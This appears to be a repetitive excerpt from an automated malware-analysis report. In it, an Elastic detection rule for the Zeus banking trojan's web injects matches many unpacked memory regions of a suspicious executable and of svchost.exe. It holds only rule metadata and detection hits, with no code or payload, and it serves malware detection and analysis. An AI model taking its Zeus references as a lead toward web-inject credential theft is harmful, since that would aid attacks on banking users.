    Source: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26d2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.87.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.80.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.86.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.65.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2fc2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3160000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 25.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.28c0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.47.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.79.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.41.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.81.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1200000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 16.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1042000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.3.1fWgBXPgiT.exe.63cd78.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 21.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.de2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.47.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 9.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.23f2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.84.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.58.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.49.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.889400.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 33.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26b0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1470000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.46.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 21.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.de2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.43.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 39.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2582000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 16.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.10a0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 25.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.24e2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.69.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.72.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.889400.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.90.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.69.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 21.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.e80000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.2.1fWgBXPgiT.exe.400000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.59.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.76.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 19.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26d0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.67.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
